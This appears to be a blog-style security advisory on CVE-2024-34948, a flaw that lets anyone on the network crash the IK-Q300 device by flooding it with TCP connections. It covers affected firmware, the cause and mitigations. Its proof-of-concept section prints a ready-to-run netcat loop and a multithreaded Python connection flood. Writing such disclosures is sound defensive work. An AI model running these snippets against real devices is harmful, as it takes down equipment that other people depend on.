On April 2024, a security vulnerability was disclosed affecting the IK-Q300 network device manufactured by Quanxun Huiju Network Technology (Beijing) Co., Ltd. Identified as CVE-2024-34948, this flaw makes it easy for remote attackers to cause a Denial of Service (DoS) simply by attempting TCP connections to the device. In this article, we'll dig into what this vulnerability is, how it works, and show you a real example of how it can be exploited out in the open.


## What/Who Is Affected?

Firmware Version: 3.7.10 x64 Build202401261655

- Vendor: Quanxun Huiju Network Technology (Beijing) Co., Ltd.

If you run this device with the specified firmware, you’re at risk.

What Is CVE-2024-34948?

According to the NVD listing, this issue is caused by the way the device handles TCP connections. An attacker just has to reach the device over the network and attempt TCP connections. That’s all.

The device’s code doesn’t check certain connection states or resources properly, which leads to the service (or even the whole device) crashing or becoming unresponsive.

Simplifying: What’s a Denial of Service (DoS)?

A DoS makes a service or device stop responding to real users. Attackers sometimes do this to take down security cameras, smart gateways, or any other connected hardware.

How Does the Exploit Work?

The attack uses raw TCP connections. No need for authentication, credentials, or advanced hacking skills.

In other words:
If you can "see" the device on the network, you can crash it.

Root Cause (Technical):
The firmware doesn’t handle incoming TCP connection attempts well – especially when many are sent quickly or in malformed ways. The device server saturates or hits a state where it cannot process new requests, leading it to hang, crash, or reboot.

Proof-of-Concept Exploit (With Code)

You don’t need fancy hacking tools. Here’s how an attacker can crash your device using the standard command line or a simple Python script.

Method 1: Bash One-Liner with Netcat

# Replace IP with device address (e.g., 192.168.1.100), port with the service port (e.g., 80)
while true; do nc 192.168.1.100 80; done

This endlessly tries to open a TCP connection to the service port. In minutes, the device will hang or reboot.

Method 2: Python Script for Fast Multiple Connections

import socket
import threading

TARGET_IP = "192.168.1.100"
TARGET_PORT = 80  # Or the device’s open port

def attack():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((TARGET_IP, TARGET_PORT))
            s.close()
        except:
            pass

# Run 100 threads
for i in range(100):
    t = threading.Thread(target=attack)
    t.start()

Note: Replace TARGET_IP and TARGET_PORT accordingly.

Since this is a device/firmware flaw, the best option is to

- Check for firmware updates at vendor’s site.
- If none is available, tightly control who can access the device at the network level. Limit access with firewall rules.

Additional References

- CVE-2024-34948 at NVD
- CVE.org Details
- IK-Q300 Product Page (in Chinese)

Conclusion

CVE-2024-34948 reveals how simple network mistakes can have big consequences for IoT and security hardware. This example shows why it’s so important to secure devices by keeping firmware updated and guarding network access. Even without a password or any inside knowledge, attackers can knock a device offline in seconds just by spamming TCP connections. Stay aware, update, and lock down your networks!

If you’re using the IK-Q300 or similar devices, act now!

*Written exclusively for you, with real-purpose code examples and clear advice. Stay safe!*

Timeline

Published on: 05/20/2024 17:15:09 UTC
Last modified on: 08/15/2024 17:35:06 UTC